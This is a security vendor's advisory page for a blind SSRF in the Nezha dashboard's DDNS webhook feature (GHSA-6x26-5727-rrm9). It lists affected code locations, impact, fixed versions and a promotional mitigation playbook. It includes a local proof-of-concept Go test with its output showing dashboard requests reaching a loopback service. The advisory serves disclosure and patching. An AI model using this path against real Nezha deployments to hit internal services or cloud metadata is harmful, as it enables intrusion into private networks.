Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
MEDIUM severity

GHSA-6x26-5727-rrm9

MEDIUM

GHSA-6x26-5727-rrm9 is a medium-severity (CVSS 6.4) Server-Side Request Forgery (SSRF) vulnerability in github.com/nezhahq/nezha. O3 Security confirms whether GHSA-6x26-5727-rrm9 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Nezha's authenticated DDNS webhook configuration allows blind SSRF from the dashboard host

Also known asCVE-2026-47268GO-2026-5194
Published
May 29, 2026
Updated
Jun 26, 2026
Affected
2 pkgs
Patched
1 / 2
Exploits
None indexed
Exploitation data as of Aug 20, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-6x26-5727-rrm9.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs8th percentile — riskier than 8% of all scored CVEsHighest risk
0.00%0.23%0.45%0.68%0.2%0.2%0.2%Jul 26Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-6x26-5727-rrm9 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 365,017 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

2 pkgs affected
🐹github.com/nezhahq/nezha🐹github.com/naiba/nezha

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An authenticated Nezha dashboard user can create or update a DDNS profile with provider webhook and configure an arbitrary webhook_url, HTTP method, request body, and headers. When DDNS is triggered for a server that uses that profile, the dashboard process sends the configured request with utils.HttpClient without the SSRF protections used by notification webhooks.

This allows a low-privileged authenticated user who controls an owned server/DDNS profile to make the dashboard host issue HTTP requests to loopback or internal network services. The response body is not returned to the attacker in the confirmed path, so this is a blind SSRF / internal state-changing request primitive.

Details

The DDNS API is available to authenticated users, not only administrators:

  • cmd/dashboard/controller/controller.go:137 registers GET /api/v1/ddns.
  • cmd/dashboard/controller/controller.go:139 registers POST /api/v1/ddns.
  • cmd/dashboard/controller/controller.go:140 registers PATCH /api/v1/ddns/:id.

The create and update handlers copy attacker-controlled webhook fields directly from JSON request bodies into model.DDNSProfile:

  • cmd/dashboard/controller/ddns.go:47-74 accepts model.DDNSForm and stores WebhookURL, WebhookMethod, WebhookRequestType, WebhookRequestBody, and WebhookHeaders.
  • cmd/dashboard/controller/ddns.go:112-145 updates the same fields after profile ownership is checked.
  • model/ddns_api.go:11-15 exposes these fields as JSON input.
  • model/ddns.go:28-33 stores these fields on the persisted profile.

Users can attach owned DDNS profiles to owned servers, and DDNS updates are triggered in common server update and agent IP-reporting paths:

  • cmd/dashboard/controller/server.go:63-83 checks DDNS profile ownership, then stores EnableDDNS, DDNSProfiles, and OverrideDDNSDomains on an owned server.
  • service/singleton/server.go:44-58 calls UpdateDDNS when a server with DDNS enabled is updated.
  • service/rpc/nezha.go:247-279 calls UpdateDDNS when an authenticated agent reports a changed IP.

The DDNS provider dispatcher instantiates the webhook provider when Provider == "webhook":

  • service/singleton/ddns.go:58-95, especially service/singleton/ddns.go:79-81.

The sink is the DDNS webhook provider:

  • pkg/ddns/webhook/webhook.go:49-65 prepares and sends the HTTP request with utils.HttpClient.Do(req).
  • pkg/ddns/webhook/webhook.go:85-100 formats and applies attacker-controlled headers.
  • pkg/ddns/webhook/webhook.go:91-92 creates the request with the configured method and URL.
  • pkg/ddns/webhook/webhook.go:117-134 parses the configured URL and only formats query parameters; it does not restrict scheme, host, IP range, or redirects.
  • pkg/ddns/webhook/webhook.go:137-158 builds attacker-controlled request bodies for POST/PATCH/PUT.

The project already contains SSRF defenses for notification webhooks, showing the expected mitigation pattern is absent from the DDNS webhook path:

  • model/notification.go:34-58 defines blocked private/reserved CIDRs.
  • model/notification.go:193-221 creates a notification HTTP client that resolves and pins a validated IP and disables redirects.
  • model/notification.go:229-263 only allows http/https, requires a hostname, resolves all addresses, and rejects disallowed IPs.
  • model/notification.go:265-276 rejects blocked ranges and non-global-unicast targets.

Equivalent validation was not found in pkg/ddns/webhook/webhook.go.

Safe local PoC

Environment:

  • Repository: https://github.com/nezhahq/nezha.git
  • Commit tested: 05e5da2535197fc223b79601d50eeea362dcf853
  • Tag at commit: v2.0.9
  • Module: github.com/nezhahq/nezha
  • Go version: go1.26.3 linux/amd64
  • Testing scope: local-only; loopback HTTP listener and fake local UDP DNS SOA server only.

A temporary same-package test was created and removed automatically after execution. It used a local httptest listener as the internal service and a local UDP DNS server that returned an SOA for example.com.. The test then executed the normal DDNS update pipeline with a webhook DDNS profile pointing at the loopback HTTP listener.

Command run:

tmp="pkg/ddns/ddns_ssrf_local_poc_test.go"; trap 'rm -f "$tmp"' EXIT; cat > "$tmp" <<'EOF'
package ddns

import (
    "context"
    "io"
    "net"
    "net/http"
    "net/http/httptest"
    "testing"

    "github.com/miekg/dns"
    "github.com/nezhahq/nezha/model"
    "github.com/nezhahq/nezha/pkg/ddns/webhook"
)

func TestLocalPoCDDNSUpdatePipelineReachesLoopback(t *testing.T) {
    hit := make(chan string, 1)
    httpSrv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        body, _ := io.ReadAll(r.Body)
        hit <- r.Method + " " + r.URL.Path + " " + r.Header.Get("X-Proof") + " " + string(body)
        w.WriteHeader(http.StatusNoContent)
    }))
    defer httpSrv.Close()

    dnsPacketConn, err := net.ListenPacket("udp", "127.0.0.1:0")
    if err != nil {
        t.Fatal(err)
    }
    dnsSrv := &dns.Server{PacketConn: dnsPacketConn, Handler: dns.HandlerFunc(func(w dns.ResponseWriter, r *dns.Msg) {
        msg := new(dns.Msg)
        msg.SetReply(r)
        if len(r.Question) > 0 && r.Question[0].Qtype == dns.TypeSOA {
            msg.Answer = append(msg.Answer, &dns.SOA{
                Hdr:     dns.RR_Header{Name: "example.com.", Rrtype: dns.TypeSOA, Class: dns.ClassINET, Ttl: 60},
                Ns:      "ns.example.com.",
                Mbox:    "hostmaster.example.com.",
                Serial:  1,
                Refresh: 60,
                Retry:   60,
                Expire:  60,
                Minttl:  60,
            })
        }
        _ = w.WriteMsg(msg)
    })}
    go func() { _ = dnsSrv.ActivateAndServe() }()
    defer dnsSrv.Shutdown()

    enableIPv4 := true
    enableIPv6 := false
    profile := &model.DDNSProfile{
        EnableIPv4:         &enableIPv4,
        EnableIPv6:         &enableIPv6,
        MaxRetries:         1,
        Domains:            []string{"host.example.com"},
        Provider:           model.ProviderWebHook,
        WebhookURL:         httpSrv.URL + "/internal",
        WebhookMethod:      2,
        WebhookRequestType: 1,
        WebhookRequestBody: `{"ip":"#ip#","domain":"#domain#","type":"#type#"}`,
        WebhookHeaders:     `{"X-Proof":"nezha-ddns-pipeline-ssrf"}`,
    }
    provider := &Provider{
        DDNSProfile: profile,
        IPAddrs:     &model.IP{IPv4Addr: "203.0.113.10"},
        Setter:      &webhook.Provider{DDNSProfile: profile},
    }

    ctx := context.WithValue(context.Background(), DNSServerKey{}, []string{dnsPacketConn.LocalAddr().String()})
    if err := provider.updateDomain(ctx, "host.example.com"); err != nil {
        t.Fatalf("updateDomain returned error: %v", err)
    }

    select {
    case got := <-hit:
        t.Logf("observed loopback request through DDNS update pipeline: %s", got)
    default:
        t.Fatalf("expected loopback listener to receive DDNS webhook request")
    }
}
EOF
go test ./pkg/ddns -run TestLocalPoCDDNSUpdatePipelineReachesLoopback -v

Observed output:

=== RUN   TestLocalPoCDDNSUpdatePipelineReachesLoopback
    ddns_ssrf_local_poc_test.go:76: observed loopback request through DDNS update pipeline: POST /internal nezha-ddns-pipeline-ssrf {"ip":"203.0.113.10","domain":"host.example.com","type":"ipv4"}
--- PASS: TestLocalPoCDDNSUpdatePipelineReachesLoopback (0.00s)
PASS
ok  	github.com/nezhahq/nezha/pkg/ddns	0.009s

A lower-level provider-only confirmation was also run with go test ./pkg/ddns/webhook -run TestLocalPoCDDNSWebhookReachesLoopback -v and observed:

observed loopback request: POST /internal nezha-ddns-ssrf {"ip":"203.0.113.10","domain":"host.example.com","type":"ipv4"}

Cleanup:

  • Both temporary PoC test files were removed by shell trap.
  • find . -path './.git' -prune -o \( -name 'ssrf_local_poc_test.go' -o -name 'ddns_ssrf_local_poc_test.go' \) -print returned no files.

Impact

An authenticated dashboard user can cause the Nezha dashboard process to send arbitrary HTTP requests to services reachable from the dashboard host, including loopback and private network targets. The confirmed path allows attacker-controlled method, URL path/query, headers, and request body.

Potential impacts depend on deployment and reachable internal services, but include:

  • Blind probing of internal HTTP services from the dashboard network location.
  • Triggering state-changing internal endpoints that trust localhost or private network origins.
  • Reaching services not exposed to the attacker directly.
  • Interaction with cloud metadata or control-plane endpoints if reachable and not otherwise protected.

The response body is not returned to the attacker in the confirmed code path, so this should not be described as direct arbitrary internal file/secret read without an additional response-disclosure primitive.

Affected Packages

2 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/nezhahq/nezha0.20.0&&< 2.0.102.0.10
🐹Gogithub.com/naiba/nezha0.20.0No fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/nezhahq/nezha. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/nezhahq/nezha to 2.0.10 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6x26-5727-rrm9 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-6x26-5727-rrm9 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-6x26-5727-rrm9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

#### Summary An authenticated Nezha dashboard user can create or update a DDNS profile with provider `webhook` and configure an arbitrary `webhook_url`, HTTP method, request body, and headers. When DDNS is triggered for a server that uses that profile, the dashboard process sends the configured request with `utils.HttpClient` without the SSRF protections used by notification webhooks. This allows a low-privileged authenticated user who controls an owned server/DDNS profile to make the dashboard host issue HTTP requests to loopback or internal network services. The response body is not return
O3 Security · Impact-Aware SCA

Is GHSA-6x26-5727-rrm9 in your dependencies?

O3 detects GHSA-6x26-5727-rrm9 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-6x26-5727-rrm9: nezha Server-Side… | O3 Security